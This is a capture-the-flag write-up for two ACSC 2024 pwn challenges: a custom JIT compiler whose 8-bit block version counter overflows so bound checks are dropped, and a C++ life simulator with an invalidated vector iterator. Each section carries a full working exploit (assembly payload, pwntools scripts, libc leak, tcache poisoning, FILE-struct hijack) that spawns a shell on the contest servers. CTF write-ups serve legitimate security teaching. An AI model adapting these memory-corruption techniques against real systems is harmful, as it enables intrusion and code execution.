# ACSC 2024 Qual Writeup
## Contextual (Pwn)
The provided binary works as a compiler with a custom instruction set.
The instructions we should look at first should be memory access instructions, which can lead to out-of-bound memory access.
There can be memory access with no bound check like **opLoadRegNoCheck**, **opStoreImmRegNoCheck**, **opStoreRegRegNoCheck**. Our memory exists on the stack with the size of 0x5000 bytes, if we can achieve oob access we can easily overwrite return address and call system("/bin/sh")
The compilation process has a step called **range-analysis** with each register, using this information the compiler will eliminate unnecessary bound check.
To optimize even more, the compiler will save the range-analysis result of each code block with a **version number**. Using this information the compiler will only recopmile the code block in 2 situation: the current **range-analysis** result does not exceed the block **range-analysis**, or the previous block version is the same with the next block version.
```c
if (prevVersion == NULL || prevVersion->version != context->prevBB->version) {
//NOTE: previous optimization basis has changed, check if any range assumptions have been broken
shouldRecompile = mergeRegRange(context, thisBB);
if (prevVersion == NULL) {
insertBBVersion(thisBB, context->prevBB);
} else {
prevVersion->version = context->prevBB->version;
}
}
if (shouldRecompile) {
compileBB(context, thisBB);
}
```
The vulnerability exists in the fact the version number is *uint8_t* and can be overflown.
```c
typedef struct BasicBlockVersion {
uint64_t pc;
uint8_t version;
} BBVERSION;
```
So the strategy is to first have a code block that contains memory access operation. Then call this code block with valid and not out of bound range. This will make this code block compiled **with no bound check**
```
oob_rw:
load <6> r7, [r8]
store <6> [r8], r9
return
```
Then create another code block that can call into address loaded from register. I do this by modifying **sp register** and push address onto the stack.
```
tmp1:
call tmp2
tmp2:
call tmp3
point:
load <6> r0, 65535
and bp, r0
return
tmp3:
load <6> sp, 16360
push <6> r10
push <6> 16360
return
```
So i can load address into r10 register then call tmp1, this will eventual call into the addres stored at r10.
```
load <6> r10, 8203
call tmp1
```
The code block at **point** is the previous block, and the **oob_rw** is the block with no bound check. Our goal is overflowing the version of **point** code block. To do that just changing register state each function call to force recompilation which will increase version number. We keep doing that until the version number is equal to **oob_rw** version.
After that each time we call into oob_rw there will have no bound check.
The final exploit code:
**solve**
```
load <6> r10, 0
jmp exp
oob_rw:
load <6> r7, [r8]
store <6> [r8], r9
return
just_ret:
return
tmp1:
call tmp2
tmp2:
call tmp3
point:
load <6> r0, 65535
and bp, r0
return
tmp3:
load <6> sp, 16360
push <6> r10
push <6> 16360
return
just_ret1:
return
just_ret2:
return
just_ret3:
return
just_ret4:
return
just_ret5:
return
just_ret6:
return
just_ret7:
return
just_ret8:
return
just_ret9:
return
just_ret10:
return
just_ret11:
return
just_ret12:
return
just_ret13:
return
just_ret14:
return
just_ret15:
return
just_ret16:
return
just_ret17:
return
just_ret18:
return
just_ret19:
return
just_ret20:
return
just_ret21:
return
just_ret22:
return
just_ret23:
return
just_ret24:
load <8> bp, 281474976727028
jmp point
just_ret25:
load <8> bp, 562949953437684
jmp point
just_ret26:
load <8> bp, 844424930148340
jmp point
just_ret27:
load <8> bp, 1125899906858996
jmp point
just_ret28:
load <8> bp, 1407374883569652
jmp point
just_ret29:
load <8> bp, 1688849860280308
jmp point
just_ret30:
load <8> bp, 1970324836990964
jmp point
just_ret31:
load <8> bp, 2251799813701620
jmp point
just_ret32:
load <8> bp, 2533274790412276
jmp point
just_ret33:
load <8> bp, 2814749767122932
jmp point
just_ret34:
load <8> bp, 3096224743833588
jmp point
just_ret35:
load <8> bp, 3377699720544244
jmp point
just_ret36:
load <8> bp, 3659174697254900
jmp point
just_ret37:
load <8> bp, 3940649673965556
jmp point
just_ret38:
load <8> bp, 4222124650676212
jmp point
just_ret39:
load <8> bp, 4503599627386868
jmp point
just_ret40:
load <8> bp, 4785074604097524
jmp point
just_ret41:
load <8> bp, 5066549580808180
jmp point
just_ret42:
load <8> bp, 5348024557518836
jmp point
just_ret43:
load <8> bp, 5629499534229492
jmp point
exp:
load <8> r7, 0
load <8> r8, 0
load <8> r9, 0
call just_ret
load <8> r8, 1
load <8> r9, 1
call just_ret
load <6> r10, 8203
call tmp1
load <6> r10, 8203
call tmp1
load <6> r10, 8244
call tmp1
load <6> r0, 131071
call tmp1
load <6> r0, 131072
call tmp1
load <6> r0, 131073
call tmp1
load <6> r0, 131074
call tmp1
load <6> r0, 131075
call tmp1
load <6> r0, 131076
call tmp1
load <6> r0, 131077
call tmp1
load <6> r0, 131078
call tmp1
load <6> r0, 131079
call tmp1
load <6> r0, 131080
call tmp1
load <6> r0, 131081
call tmp1
load <6> r0, 131082
call tmp1
load <6> r0, 131083
call tmp1
load <6> r0, 131084
call tmp1
load <6> r0, 131085
call tmp1
load <6> r0, 131086
call tmp1
load <6> r0, 131087
call tmp1
load <6> r0, 131088
call tmp1
load <6> r0, 131089
call tmp1
load <6> r0, 131090
call tmp1
load <6> r1, 100
call tmp1
load <6> r1, 101
call tmp1
load <6> r1, 102
call tmp1
load <6> r1, 103
call tmp1
load <6> r1, 104
call tmp1
load <6> r1, 105
call tmp1
load <6> r1, 106
call tmp1
load <6> r1, 107
call tmp1
load <6> r1, 108
call tmp1
load <6> r1, 109
call tmp1
load <6> r1, 110
call tmp1
load <6> r1, 111
call tmp1
load <6> r1, 112
call tmp1
load <6> r1, 113
call tmp1
load <6> r1, 114
call tmp1
load <6> r1, 115
call tmp1
load <6> r1, 116
call tmp1
load <6> r1, 117
call tmp1
load <6> r1, 118
call tmp1
load <6> r1, 119
call tmp1
load <6> r2, 100
call tmp1
load <6> r2, 101
call tmp1
load <6> r2, 102
call tmp1
load <6> r2, 103
call tmp1
load <6> r2, 104
call tmp1
load <6> r2, 105
call tmp1
load <6> r2, 106
call tmp1
load <6> r2, 107
call tmp1
load <6> r2, 108
call tmp1
load <6> r2, 109
call tmp1
load <6> r2, 110
call tmp1
load <6> r2, 111
call tmp1
load <6> r2, 112
call tmp1
load <6> r2, 113
call tmp1
load <6> r2, 114
call tmp1
load <6> r2, 115
call tmp1
load <6> r2, 116
call tmp1
load <6> r2, 117
call tmp1
load <6> r2, 118
call tmp1
load <6> r2, 119
call tmp1
load <6> r3, 100
call tmp1
load <6> r3, 101
call tmp1
load <6> r3, 102
call tmp1
load <6> r3, 103
call tmp1
load <6> r3, 104
call tmp1
load <6> r3, 105
call tmp1
load <6> r3, 106
call tmp1
load <6> r3, 107
call tmp1
load <6> r3, 108
call tmp1
load <6> r3, 109
call tmp1
load <6> r3, 110
call tmp1
load <6> r3, 111
call tmp1
load <6> r3, 112
call tmp1
load <6> r3, 113
call tmp1
load <6> r3, 114
call tmp1
load <6> r3, 115
call tmp1
load <6> r3, 116
call tmp1
load <6> r3, 117
call tmp1
load <6> r3, 118
call tmp1
load <6> r3, 119
call tmp1
load <6> r6, 100
call tmp1
load <6> r6, 101
call tmp1
load <6> r6, 102
call tmp1
load <6> r6, 103
call tmp1
load <6> r6, 104
call tmp1
load <6> r6, 105
call tmp1
load <6> r6, 106
call tmp1
load <6> r6, 107
call tmp1
load <6> r6, 108
call tmp1
load <6> r6, 109
call tmp1
load <6> r6, 110
call tmp1
load <6> r6, 111
call tmp1
load <6> r6, 112
call tmp1
load <6> r6, 113
call tmp1
load <6> r6, 114
call tmp1
load <6> r6, 115
call tmp1
load <6> r6, 116
call tmp1
load <6> r6, 117
call tmp1
load <6> r6, 118
call tmp1
load <6> r6, 119
call tmp1
load <6> r8, 100
call tmp1
load <6> r8, 101
call tmp1
load <6> r8, 102
call tmp1
load <6> r8, 103
call tmp1
load <6> r8, 104
call tmp1
load <6> r8, 105
call tmp1
load <6> r8, 106
call tmp1
load <6> r8, 107
call tmp1
load <6> r8, 108
call tmp1
load <6> r8, 109
call tmp1
load <6> r8, 110
call tmp1
load <6> r8, 111
call tmp1
load <6> r8, 112
call tmp1
load <6> r8, 113
call tmp1
load <6> r8, 114
call tmp1
load <6> r8, 115
call tmp1
load <6> r8, 116
call tmp1
load <6> r8, 117
call tmp1
load <6> r8, 118
call tmp1
load <6> r8, 119
call tmp1
load <6> r9, 100
call tmp1
load <6> r9, 101
call tmp1
load <6> r9, 102
call tmp1
load <6> r9, 103
call tmp1
load <6> r9, 104
call tmp1
load <6> r9, 105
call tmp1
load <6> r9, 106
call tmp1
load <6> r9, 107
call tmp1
load <6> r9, 108
call tmp1
load <6> r9, 109
call tmp1
load <6> r9, 110
call tmp1
load <6> r9, 111
call tmp1
load <6> r9, 112
call tmp1
load <6> r9, 113
call tmp1
load <6> r9, 114
call tmp1
load <6> r9, 115
call tmp1
load <6> r9, 116
call tmp1
load <6> r9, 117
call tmp1
load <6> r9, 118
call tmp1
load <6> r9, 119
call tmp1
load <6> r11, 100
call tmp1
load <6> r11, 101
call tmp1
load <6> r11, 102
call tmp1
load <6> r11, 103
call tmp1
load <6> r11, 104
call tmp1
load <6> r11, 105
call tmp1
load <6> r11, 106
call tmp1
load <6> r11, 107
call tmp1
load <6> r11, 108
call tmp1
load <6> r11, 109
call tmp1
load <6> r11, 110
call tmp1
load <6> r11, 111
call tmp1
load <6> r11, 112
call tmp1
load <6> r11, 113
call tmp1
load <6> r11, 114
call tmp1
load <6> r11, 115
call tmp1
load <6> r11, 116
call tmp1
load <6> r11, 117
call tmp1
load <6> r11, 118
call tmp1
load <6> r11, 119
call tmp1
load <6> r12, 100
call tmp1
load <6> r12, 101
call tmp1
load <6> r12, 102
call tmp1
load <6> r12, 103
call tmp1
load <6> r12, 104
call tmp1
load <6> r12, 105
call tmp1
load <6> r12, 106
call tmp1
load <6> r12, 107
call tmp1
load <6> r12, 108
call tmp1
load <6> r12, 109
call tmp1
load <6> r12, 110
call tmp1
load <6> r12, 111
call tmp1
load <6> r12, 112
call tmp1
load <6> r12, 113
call tmp1
load <6> r12, 114
call tmp1
load <6> r12, 115
call tmp1
load <6> r12, 116
call tmp1
load <6> r12, 117
call tmp1
load <6> r12, 118
call tmp1
load <6> r12, 119
call tmp1
load <6> r13, 100
call tmp1
load <6> r13, 101
call tmp1
load <6> r13, 102
call tmp1
load <6> r13, 103
call tmp1
load <6> r13, 104
call tmp1
load <6> r13, 105
call tmp1
load <6> r13, 106
call tmp1
load <6> r13, 107
call tmp1
load <6> r13, 108
call tmp1
load <6> r13, 109
call tmp1
load <6> r13, 110
call tmp1
load <6> r13, 111
call tmp1
load <6> r13, 112
call tmp1
load <6> r13, 113
call tmp1
load <6> r13, 114
call tmp1
load <6> r13, 115
call tmp1
load <6> r13, 116
call tmp1
load <6> r13, 117
call tmp1
load <6> r13, 118
call tmp1
load <6> r13, 119
call tmp1
load <8> r7, 562949953421311
call tmp1
load <8> r7, 562949953421312
call tmp1
load <8> r7, 562949953421313
call tmp1
load <8> r7, 562949953421314
call tmp1
load <8> r7, 562949953421315
call tmp1
load <8> r7, 562949953421316
call tmp1
load <8> r7, 562949953421317
call tmp1
load <8> r7, 562949953421318
call tmp1
load <8> r7, 562949953421319
call tmp1
load <8> r7, 562949953421320
call tmp1
load <8> r7, 562949953421321
call tmp1
load <8> r7, 562949953421322
call tmp1
load <8> r7, 562949953421323
call tmp1
load <8> r7, 562949953421324
call tmp1
load <8> r7, 562949953421325
call tmp1
load <8> r7, 562949953421326
call tmp1
load <8> r7, 562949953421327
call tmp1
load <8> r7, 562949953421328
call tmp1
load <8> r7, 562949953421329
call tmp1
load <8> r7, 562949953421330
call tmp1
load <8> r10, 8244
call tmp1
load <8> r10, 8245
call tmp1
load <8> r10, 8246
call tmp1
load <8> r10, 8247
call tmp1
load <8> r10, 8248
call tmp1
load <8> r10, 8249
call tmp1
load <8> r10, 8250
call tmp1
load <8> r10, 8251
call tmp1
load <8> r10, 8252
call tmp1
load <8> r10, 8253
call tmp1
load <8> r10, 8254
call tmp1
load <8> r10, 8255
call tmp1
load <8> r10, 8256
call tmp1
load <8> r10, 8257
call tmp1
load <8> r10, 8258
call tmp1
load <8> r10, 8259
call tmp1
load <8> r10, 8260
call tmp1
load <8> r10, 8261
call tmp1
load <8> r10, 8262
call tmp1
load <8> r10, 8263
call tmp1
load <6> r10, 8267
call tmp1
load <6> r10, 8280
call tmp1
load <6> r10, 8293
call tmp1
load <6> r10, 8306
call tmp1
load <6> r10, 8319
call tmp1
load <6> r10, 8332
call tmp1
load <6> r10, 8345
call tmp1
load <6> r10, 8358
call tmp1
load <6> r10, 8371
call tmp1
load <6> r10, 8384
call tmp1
load <6> r10, 8397
call tmp1
load <6> r10, 8410
call tmp1
load <6> r10, 8423
call tmp1
load <6> r10, 8436
call tmp1
load <6> r10, 8449
call tmp1
load <6> r10, 8462
call tmp1
load <6> r10, 8475
call tmp1
load <6> r10, 8488
call tmp1
load <8> r8, 24772
load <8> r9, 280267669825
load <6> r10, 8203
call tmp1
load <8> r0, 0
store <6> [r0], r7
load <8> r0, 1
load <8> r1, 1
load <8> r2, 0
load <8> r3, 6
syscall
load <8> r0, 0
load <8> r1, 0
load <8> r2, 0
load <8> r3, 24
syscall
load <8> r0, 16
load <8> r8, 24772
load <8> r9, [r0]
load <6> r10, 8203
call tmp1
load <8> r0, 8
load <8> r8, 24780
load <8> r9, [r0]
load <6> r10, 8203
call tmp1
load <8> r0, 8
load <8> r8, 24788
load <8> r9, [r0]
load <6> r10, 8203
call tmp1
load <8> r0, 0
load <8> r8, 24796
load <8> r9, [r0]
load <6> r10, 8203
call tmp1
exit
```
**assembler**
```python
from pwn import *
def aasm(code):
def check(condition):
if not condition:
print(f'invalid argument on line {lnum + 1} : {origLine}')
exit()
def getReg(rs):
if rs == 'pc':
return 4
elif rs == 'lr':
return 5
elif rs == 'flag':
return 13
elif rs == 'sp':
return 14
elif rs == 'bp':
return 15
check(rs[0] == 'r')
try:
reg = int(rs[1:])
except:
check(False)
check(reg >= 0 and reg < 16)
return reg
def getNum(n, size, unsigned = False, dontCareSign = False):
if n[0] == '-':
sign = -1
n = n[1:]
else:
sign = 1
if len(n) > 2 and n[:2] == '0x':
base = 16
else:
base = 10
try:
n = int(n, base)
except:
check(False)
n *= sign
if dontCareSign:
Min = -(1 << size) // 2
Max = (1 << size) - 1
else:
if unsigned is False:
Min = -(1 << size) // 2
Max = (1 << size) // 2 - 1
else:
Min = 0
Max = (1 << size) - 1
check(n >= Min and n <= Max)
if n < 0:
n += (1 << size)
return n
JMP = {
'call': 0x40,
'jmp' : 0x41,
'jb' : 0x42,
'jae' : 0x43,
'je' : 0x44,
'jne' : 0x45,
'jbe' : 0x46,
'ja' : 0x47,
}
ALU = {
'add' : 0x50,
'sub' : 0x51,
'mul' : 0x52,
'div' : 0x53,
'and' : 0x54,
'or' : 0x55,
'xor' : 0x56,
'shr' : 0x57,
'shl' : 0x58,
'mov' : 0x59,
'cmp' : 0x5a,
}
JMPDST = {}
RESOLVE = {}
code = code.strip().split('\n')
bcode = b''
for lnum, line in enumerate(code):
origLine = line
comment = line.find('//')
if comment != -1:
line = line[:comment]
line = line.strip()
if line=='':
continue
#print(line)
line = line.split()
if line[0] == 'push':
check(len(line) == 2 or len(line) == 3)
if len(line) == 2:
#shorthand to not specify push imm size
n = getNum(line[1], 64, dontCareSign = True)
if n == 0:
S = 1
else:
S = (n.bit_length() + 7) // 8
bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little')
else:
check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>')
S = getNum(line[1][1:-1], 4, unsigned = True)
check(1 <= S and S <= 8)
if line[2][0].isdigit():
n = getNum(line[2], S * 8, dontCareSign = True)
bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little')
else:
r0 = getReg(line[2])
bcode += p8(0x18 | (S - 1)) + p8(r0)
elif line[0] == 'pop':
check(len(line) == 3)
check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>')
S = getNum(line[1][1:-1], 4, unsigned = True)
check(1 <= S and S <=8)
r0 = getReg(line[2])
bcode += p8(0x10 | (S - 1)) + p8(r0)
elif line[0] == 'load':
line = ' '.join(line[1:]).split(',')
check(len(line) == 2)
hasSize = line[0][0] == '<'
if not hasSize:
#shorthand to not specify load imm size
r0 = getReg(line[0].strip())
n = getNum(line[1].strip(), 64, dontCareSign = True)
if n == 0:
S = 1
else:
S = (n.bit_length() + 7) // 8
bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little')
else:
S, r0 = line[0].strip().split()
check(len(S) > 2 and S[0] == '<' and S[-1] == '>')
S = getNum(S[1:-1], 4, unsigned = True)
check(1 <= S and S <= 8)
r0 = getReg(r0)
line[1] = line[1].strip()
if line[1][0] != '[':
n = getNum(line[1], S * 8, dontCareSign = True)
bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little')
else:
check(line[1][0] == '[' and line[1][-1] == ']')
r1 = getReg(line[1][1:-1])
bcode += p8(0x20 | (S - 1)) + p8(r0 | (r1 << 4))
elif line[0] == 'store':
line = ' '.join(line[1:]).split(',')
check(len(line) == 2)
hasSize = line[0][0] == '<'
if not hasSize:
#shorthand to not specify store imm size
line[0] = line[0].strip()
check(line[0][0] == '[' and line[0][-1] == ']')
r0 = getReg(line[0][1:-1])
n = getNum(line[1].strip(), 64, dontCareSign = True)
if n == 0:
S = 1
else:
S = (n.bit_length() + 7) // 8
bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little')
else:
S = line[0].strip().split()[0]
dst = line[0][len(S):].strip()
check(len(S) > 2 and S[0] == '<' and S[-1] == '>')
S = getNum(S[1:-1], 4, unsigned = True)
check(1 <= S and S <= 8)
dst = dst.strip()
check(dst[0] == '[' and dst[-1] == ']')
dst = dst[1:-1]
line[1] = line[1].strip()
if line[1][0] != 'r':
r0 = getReg(dst)
n = getNum(line[1], S * 8, dontCareSign = True)
bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little')
else:
r0 = getReg(dst)
r1 = getReg(line[1])
bcode += p8(0x28 | (S - 1)) + p8(r0 | (r1 << 4))
elif line[0] in JMP:
check(len(line) == 2)
if line[1][0].isdigit() or line[1] not in ('r0','r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14','r15','pc','lr','flag','sp','bp'):
if line[1][0].isdigit():
#Theoretically, we shouldn't do this, jumping to static offset is error prone, but allow for flexibility
n = getNum(line[1], 16)
bcode += p8(JMP[line[0]]) + p16(n)
else:
tag = line[1]
offset = len(bcode) + 3
if tag in JMPDST:
#This is a backward jump, so delta must be negative
delta = JMPDST[tag] - offset + (1 << 16)
bcode += p8(JMP[line[0]]) + p16(delta)
else:
RESOLVE[offset] = (tag, lnum, origLine)
bcode += p8(JMP[line[0]]) + p16(0)
else:
check(False)
'''
else:
r0 = getReg(line[1])
bcode += p8(JMP[line[0]] | 0x08) + p8(r0)
'''
elif line[0] in ALU:
opc = line[0]
line = ' '.join(line[1:]).strip().split(',')
check(len(line) == 2)
r0, r1 = getReg(line[0].strip()), getReg(line[1].strip())
bcode += p8(ALU[opc]) + p8(r0 | (r1 << 4))
elif line[0] == 'return':
check(len(line) == 1)
bcode += b'\xfd'
elif line[0] == 'syscall':
check(len(line) == 1)
bcode += b'\xfe'
elif line[0] == 'exit':
check(len(line) == 1)
bcode += b'\xff'
else:
check(len(line) == 1 and len(line[0]) > 1)
check(line[0][-1] == ':')
check(not line[0][0].isdigit())
tag = line[0][:-1]
check(tag not in JMPDST)
JMPDST[tag] = len(bcode)
for offset in RESOLVE:
tag, lnum, origLine = RESOLVE[offset]
if tag not in JMPDST:
print(f'unknown tag on line {lnum} : {origLine}')
exit()
delta = JMPDST[tag] - offset
bcode = bcode[:offset-2] + p16(delta) + bcode[offset:]
return bcode
context.log_level = 1
f = open("solve", "r")
c = f.read()
c = aasm(c)
print(hex(len(c)))
#r = gdb.debug("./contextual")
r = remote("contextual.chal.2024.ctf.acsc.asia", 10101)
r.sendlineafter(") :", str(len(c)).encode())
r.sendafter("code : ", c)
libc = u64(r.recv(6).ljust(8, b'\0')) - 0x29d90
system = libc + 0x50d70
bin_sh = libc + 0x1d8699
pop_rdi = libc + 0x000000000002a745
log.info("LIBC: " + hex(libc))
r.send(p64(system) + p64(bin_sh) + p64(pop_rdi))
r.interactive()
# ACSC{f4il3d_to_s33_th4t_0ne_c0m1n6_d1dnt_y0u}
```

P/s: There is probably a better way to do the overflowing version part.
## life_simulator (Pwn)
The vulnerability is when adding a new value to vector, the vector can be realloacted leading to invalid iterator.
```cpp
void simulate() {
this->number_of_steps++;
for(auto it = this->lifeforms.begin(); it != this->lifeforms.end(); ++it) {
int32_t prev_x_pos = it->get_x_pos();
int32_t prev_y_pos = it->get_y_pos();
this->check_lifeform(it);
it->move();
int32_t curr_x_pos = it->get_x_pos();
int32_t curr_y_pos = it->get_y_pos();
if(curr_x_pos <= 0 || curr_x_pos >= this->simulation_map->get_x_size() - 1) it->flip_x_speed();
if(curr_y_pos <= 0 || curr_y_pos >= this->simulation_map->get_y_size() - 1) it->flip_y_speed();
this->simulation_map->set_area(prev_x_pos, prev_y_pos, ' ', NoneEntity);
Entity curr_pos_entity = this->simulation_map->get_area_entity(curr_x_pos, curr_y_pos);
if(curr_pos_entity == FruitEntity) {
this->simulation_map->set_area(curr_x_pos, curr_y_pos, ' ', NoneEntity);
if(it->level_up() == YesNewSpawn) {
std::string new_spawn_name = it->get_name() + get_generation(it->get_number_of_children() + 1);
this->add_lifeform(prev_x_pos, prev_y_pos, it->get_x_speed()*(-1), it->get_y_speed()*(-1), new_spawn_name);
}
} ...
}
...
```
**this->add_lifeform** will reallocate the buffer, changing **this->lifeforms.end()** to another location, this can make the **it** iterating through memory belongs to another object.
This gives us a limited out of bound write primitive (can only write 0x20 or 0x00 byte) using **set_area**.
```cpp
void set_area(int32_t x_pos, int32_t y_pos, char indicator, Entity entity) {
switch(entity) {
case LifeformEntity:
this->area[y_pos*this->x_size + x_pos] = indicator;
this->entity_area[y_pos*this->x_size + x_pos] = LifeformEntity;
break;
case FruitEntity:
this->entity_area[y_pos*this->x_size + x_pos] = FruitEntity;
break;
case PoisonEntity:
this->entity_area[y_pos*this->x_size + x_pos] = PoisonEntity;
break;
default:
this->area[y_pos*this->x_size + x_pos] = ' ';
this->entity_area[y_pos*this->x_size + x_pos] = NoneEntity;
break;
}
}
```
Abusint this I overwrite the map size to 0x2019 x 0x29 (the original map size is 0x19 x 0x29).
```cpp
private:
int32_t x_size;
int32_t y_size;
char *area;
Entity *entity_area;
```
Now each time the map is printed we will have oob read.
```cpp
void print_area() {
for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl;
for(int32_t i = 0; i < this->y_size; i++) {
std::cout << "#";
for(int32_t j = 0; j < this->x_size; j++) {
switch(entity_area[i*this->x_size + j]) {
case FruitEntity:
std::cout << "o";
break;
case PoisonEntity:
std::cout << "x";
break;
default:
std::cout << area[i*this->x_size + j];
break;
}
}
std::cout << "#" << std::endl;
}
for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl;
}
```
But with this large map size, the memory size is 0x2019*0x29*0x4 bytes (more than 0x149000 bytes, much larger than memory the heap has). So i have to add a bunch of lifeform with very long name. Allocation with large size will enlarge the heap, this makes that **print_area will not crash due to memory access in unmmaped memory**
Finally with this large map size, we can now achieve write into this large map. Abusing this to overwrite free chunk metadata, and have arbitrary allocation using **tcache poisoning technique**. I will use this new primitive to rewrite the map struct.
```cpp
private:
int32_t x_size;
int32_t y_size;
char *area;
Entity *entity_area;
```
I want to overwrite area to *_IO_2_1_stderr* struct, this means we can rewrite this file structure, and achieve RIP control using technique like house of apple.
Exploit script:
```python
from pwn import *
#r = gdb.debug("./life_simulator_patched")
#r = remote("localhost", 9000)
r = remote("life-simulator.chal.2024.ctf.acsc.asia", 9000)
def add(x,y,sx,sy,name):
r.sendlineafter("> ", b'2')
r.sendlineafter("position: ", str(x).encode())
r.sendlineafter("position: ", str(y).encode())
r.sendlineafter("): ", str(sx).encode())
r.sendlineafter("): ", str(sy).encode())
r.sendlineafter("Name: ", name)
r.sendlineafter("L: ", b"L")
def fruit(x, y):
r.sendlineafter("> ", b'3')
r.sendlineafter("position: ", str(x).encode())
r.sendlineafter("position: ", str(y).encode())
for j in range(6):
for i in range(6):
add(i,j,1,0, b'A')
for j in range(0, 20):
for i in range(0, 20):
if i < 6 and j < 6:
continue
fruit(i, j)
payload = b'\0'*0x18 + p64(0x1c1) + b'\0'*0x30
payload += (p32(26) + p32(48)).ljust(0x40, b'\0')
payload += (p32(37) + p32(219)).ljust(0x40, b'\0')
payload += (p32(51) + p32(104755298)).ljust(0x40, b'\0')
payload += (p32(0x28) + p32(104755296)).ljust(0x40, b'\0')
payload = payload.ljust(0x3e0, b'\0')
add(21,21,0,0, payload)
add(22,22,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x20000))
for i in range(2):
add(i + 23,23,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x50000))
r.sendlineafter("> ", b'1')
r.sendlineafter("> ", b'1')
r.sendlineafter("> ", b'1')
r.recvuntil(b"\xb1\x03\x00\x00\x00\x00\x00\x00")
heap = u64(r.recv(6).ljust(8, b'\0')) - 0x14360
log.info("HEAP LEAK: " + hex(heap))
r.recvuntil(b"\x21\x0b\x00\x00\x00\x00\x00\x00")
libc = u64(r.recv(6).ljust(8, b'\0')) - 0x21b290
log.info("LIBC LEAK: " + hex(libc))
def write64(where, what):
off = where - 0x55555557df10
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8(what & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 8) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 16) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 24) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 32) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 40) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 48) & 0xff))
off += 1
add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 56) & 0xff))
stderr = libc + 0x21b6a0
stdin = libc + 0x219aa0
system = libc + 0x50d70
fake = libc + 0x2170c0 - 11 * 8 + 3 * 8
log.info("TARGET: " + hex((heap + 0x12ea0) ^ ((heap + 0x15620) >> 12)))
add(0,0,0,0, b'\0'*0x68)
write64(0x555555580620, (heap + 0x12ea0) ^ ((heap + 0x15620) >> 12))
payload = p64(0)*3 + p64(0x31) + p64(3) + p64(heap + 0x12ef0)*2 + p64(heap + 0x17440) + p64(heap + 0x17d80) + p64(0x21)
payload += p32(0x11) + p32(0x11) + p64(stderr) + p64(heap + 0x20000)
payload = payload.ljust(0x68, b'\0')
print(hex(len(payload)))
add(1,1,0,0, payload)
def write641(where, what):
off = where
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8(what & 0xff))
off += 1
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 8) & 0xff))
off += 1
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 16) & 0xff))
off += 1
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 24) & 0xff))
off += 1
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 32) & 0xff))
off += 1
add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 40) & 0xff))
write641(0, 0x3b68733b07f5)
write641(0xa0, stderr - 0x10)
write641(0xc0, system)
write641(0xd0, stderr + 0xc0 - 0x68)
write641(0xd8, fake)
#write641(0, 0x41414141)
r.interactive()
# ACSC{beware_of_the_hidden_allocations!!11!_d78389}
```


P/s: We need to exit to trigger the rip control. The exploit takes a long time to run, due to sending a large amount of data. It can sometimes fail too.